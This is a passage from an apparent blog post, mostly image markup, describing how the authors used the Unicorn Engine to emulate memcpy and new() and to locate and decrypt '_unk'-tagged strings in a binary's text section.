srcset="https://substackcdn.com/image/fetch/$s_!H8oU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d606e62-79ed-41eb-b396-13583994fbc7_700x237.png 424w, https://substackcdn.com/image/fetch/$s_!H8oU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d606e62-79ed-41eb-b396-13583994fbc7_700x237.png 848w, https://substackcdn.com/image/fetch/$s_!H8oU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d606e62-79ed-41eb-b396-13583994fbc7_700x237.png 1272w, https://substackcdn.com/image/fetch/$s_!H8oU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d606e62-79ed-41eb-b396-13583994fbc7_700x237.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!H8oU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d606e62-79ed-41eb-b396-13583994fbc7_700x237.png" width="700" height="237" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6d606e62-79ed-41eb-b396-13583994fbc7_700x237.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:237,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!H8oU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d606e62-79ed-41eb-b396-13583994fbc7_700x237.png 424w, https://substackcdn.com/image/fetch/$s_!H8oU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d606e62-79ed-41eb-b396-13583994fbc7_700x237.png 848w, https://substackcdn.com/image/fetch/$s_!H8oU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d606e62-79ed-41eb-b396-13583994fbc7_700x237.png 1272w, https://substackcdn.com/image/fetch/$s_!H8oU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6d606e62-79ed-41eb-b396-13583994fbc7_700x237.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>soft hooks</p><p>we only focused on emulating the memcpy and the new() operator the rest of the hooks we just skipped the library call.</p><p>below a quick and dirty implementation for memcpy:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6TIs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2292b23c-22bc-4e6b-8a42-775600abb9f7_700x230.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6TIs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2292b23c-22bc-4e6b-8a42-775600abb9f7_700x230.png 424w, https://substackcdn.com/image/fetch/$s_!6TIs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2292b23c-22bc-4e6b-8a42-775600abb9f7_700x230.png 848w, https://substackcdn.com/image/fetch/$s_!6TIs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2292b23c-22bc-4e6b-8a42-775600abb9f7_700x230.png 1272w, https://substackcdn.com/image/fetch/$s_!6TIs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2292b23c-22bc-4e6b-8a42-775600abb9f7_700x230.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6TIs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2292b23c-22bc-4e6b-8a42-775600abb9f7_700x230.png" width="700" height="230" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2292b23c-22bc-4e6b-8a42-775600abb9f7_700x230.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:230,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!6TIs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2292b23c-22bc-4e6b-8a42-775600abb9f7_700x230.png 424w, https://substackcdn.com/image/fetch/$s_!6TIs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2292b23c-22bc-4e6b-8a42-775600abb9f7_700x230.png 848w, https://substackcdn.com/image/fetch/$s_!6TIs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2292b23c-22bc-4e6b-8a42-775600abb9f7_700x230.png 1272w, https://substackcdn.com/image/fetch/$s_!6TIs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2292b23c-22bc-4e6b-8a42-775600abb9f7_700x230.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>memcpy implementation in Unicorn Engine</p><p>and for new() operator:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!HHXX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55294b97-bcc1-438f-a0b3-cfdc992ec58c_700x166.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HHXX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55294b97-bcc1-438f-a0b3-cfdc992ec58c_700x166.png 424w, https://substackcdn.com/image/fetch/$s_!HHXX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55294b97-bcc1-438f-a0b3-cfdc992ec58c_700x166.png 848w, https://substackcdn.com/image/fetch/$s_!HHXX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55294b97-bcc1-438f-a0b3-cfdc992ec58c_700x166.png 1272w, https://substackcdn.com/image/fetch/$s_!HHXX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55294b97-bcc1-438f-a0b3-cfdc992ec58c_700x166.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HHXX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55294b97-bcc1-438f-a0b3-cfdc992ec58c_700x166.png" width="700" height="166" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/55294b97-bcc1-438f-a0b3-cfdc992ec58c_700x166.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:166,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!HHXX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55294b97-bcc1-438f-a0b3-cfdc992ec58c_700x166.png 424w, https://substackcdn.com/image/fetch/$s_!HHXX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55294b97-bcc1-438f-a0b3-cfdc992ec58c_700x166.png 848w, https://substackcdn.com/image/fetch/$s_!HHXX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55294b97-bcc1-438f-a0b3-cfdc992ec58c_700x166.png 1272w, https://substackcdn.com/image/fetch/$s_!HHXX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55294b97-bcc1-438f-a0b3-cfdc992ec58c_700x166.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>new() operator implementation in Unicorn Engine</p><p>Then once we were able to emulate the decryption code block entirely, we then focused our efforts on locating the <strong>_unk</strong> strings directly in the <strong>_text</strong> section:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!psCy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a955699-f991-46d0-a393-63601aea9aad_700x222.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!psCy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a955699-f991-46d0-a393-63601aea9aad_700x222.png 424w, https://substackcdn.com/image/fetch/$s_!psCy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a955699-f991-46d0-a393-63601aea9aad_700x222.png 848w, https://substackcdn.com/image/fetch/$s_!psCy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a955699-f991-46d0-a393-63601aea9aad_700x222.png 1272w, https://substackcdn.com/image/fetch/$s_!psCy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a955699-f991-46d0-a393-63601aea9aad_700x222.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!psCy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a955699-f991-46d0-a393-63601aea9aad_700x222.png" width="700" height="222" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0a955699-f991-46d0-a393-63601aea9aad_700x222.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:222,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!psCy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a955699-f991-46d0-a393-63601aea9aad_700x222.png 424w, https://substackcdn.com/image/fetch/$s_!psCy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a955699-f991-46d0-a393-63601aea9aad_700x222.png 848w, https://substackcdn.com/image/fetch/$s_!psCy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a955699-f991-46d0-a393-63601aea9aad_700x222.png 1272w, https://substackcdn.com/image/fetch/$s_!psCy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a955699-f991-46d0-a393-63601aea9aad_700x222.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>find_encrypted_strings looks for the tag : &#8220;_unk&#8221;</p><p>Finally, we needed to get the changing length of the string (the value passed to <strong>edx</strong>). This string length is not always after the <strong>_unk</strong> parameter, it is sometimes instructions before, or after, as we can see in the blow assembly snippets:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gQh7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5b3d97d-3036-4f8a-a55b-55bf3d990d39_1370x900.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gQh7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5b3d97d-3036-4f8a-a55b-55bf3d990d39_1370x900.png 424w, https://substackcdn.com/image/fetch/$s_!gQh7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5b3d97d-3036-4f8a-a55b-55bf3d990d39_1370x900.png 848w, https://substackcdn.com/image/fetch/$s_!gQh7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5b3d97d-3036-4f8a-a55b-55bf3d990d39_1370x900.png 1272w, https://substackcdn.com/image/fetch/$s_!gQh7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5b3d97d-3036-4f8a-a55b-55bf3d990d39_1370x900.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gQh7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5b3d97d-3036-4f8a-a55b-55bf3d990d39_1370x900.png" width="1370" height="900" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f5b3d97d-3036-4f8a-a55b-55bf3d990d39_1370x900.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:900,&quot;width&quot;:1370,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!gQh7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5b3d97d-3036-4f8a-a55b-55bf3d990d39_1370x900.png 424w, https://substackcdn.com/image/fetch/$s_!gQh7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5b3d97d-3036-4f8a-a55b-55bf3d990d39_1370x900.png 848w, https://substackcdn.com/image/fetch/$s_!gQh7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5b3d97d-3036-4f8a-a55b-55bf3d990d39_1370x900.png 1272w, https://substackcdn.com/image/fetch/$s_!gQh7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff5b3d97d-3036-4f8a-a55b-55bf3d990d39_1370x900.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qh1S!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d1bb4d1-361e-40ac-b691-209746e117dd_1502x778.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qh1S!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d1bb4d1-361e-40ac-b691-209746e117dd_1502x778.png 424w, https://substackcdn.com/image/fetch/$s_!qh1S!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d1bb4d1-361e-40ac-b691-209746e117dd_1502x778.png 848w, https://substackcdn.com/image/fetch/$s_!qh1S!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d1bb4d1-361e-40ac-b691-209746e117dd_1502x778.png 1272w, https://substackcdn.com/image/fetch/$s_!qh1S!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d1bb4d1-361e-40ac-b691-209746e117dd_1502x778.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qh1S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d1bb4d1-361e-40ac-b691-209746e117dd_1502x778.png" width="1456" height="754" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7d1bb4d1-361e-40ac-b691-209746e117dd_1502x778.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:754,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!qh1S!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d1bb4d1-361e-40ac-b691-209746e117dd_1502x778.png 424w, https://substackcdn.com/image/fetch/$s_!qh1S!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d1bb4d1-361e-40ac-b691-209746e117dd_1502x778.png 848w, https://substackcdn.com/image/fetch/$s_!qh1S!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d1bb4d1-361e-40ac-b691-209746e117dd_1502x778.png 1272w, https://substackcdn.com/image/fetch/$s_!qh1S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d1bb4d1-361e-40ac-b691-209746e117dd_1502x778.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>mov edx,x instruction positioning</p><p>So we wrote a function that will scan forward then backward of this value, 0x30 bytes each time:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fJtG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68cea0d3-3740-4b50-a48a-779cf61ede54_700x303.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fJtG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68cea0d3-3740-4b50-a48a-779cf61ede54_700x303.png 424w, https://substackcdn.com/image/fetch/$s_!fJtG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68cea0d3-3740-4b50-a48a-779cf61ede54_700x303.png 848w, https://substackcdn.com/image/fetch/$s_!fJtG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68cea0d3-3740-4b50-a48a-779cf61ede54_700x303.png 1272w, https://substackcdn.com/image/fetch/$s_!fJtG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68cea0d3-3740-4b50-a48a-779cf61ede54_700x303.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fJtG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68cea0d3-3740-4b50-a48a-779cf61ede54_700x303.png" width="700" height="303" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/68cea0d3-3740-4b50-a48a-779cf61ede54_700x303.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:303,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!fJtG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68cea0d3-3740-4b50-a48a-779cf61ede54_700x303.png 424w, https://substackcdn.com/image/fetch/$s_!fJtG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68cea0d3-3740-4b50-a48a-779cf61ede54_700x303.png 848w, https://substackcdn.com/image/fetch/$s_!fJtG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68cea0d3-3740-4b50-a48a-779cf61ede54_700x303.png 1272w, https://substackcdn.com/image/fetch/$s_!fJtG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F68cea0d3-3740-4b50-a48a-779cf61ede54_700x303.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset 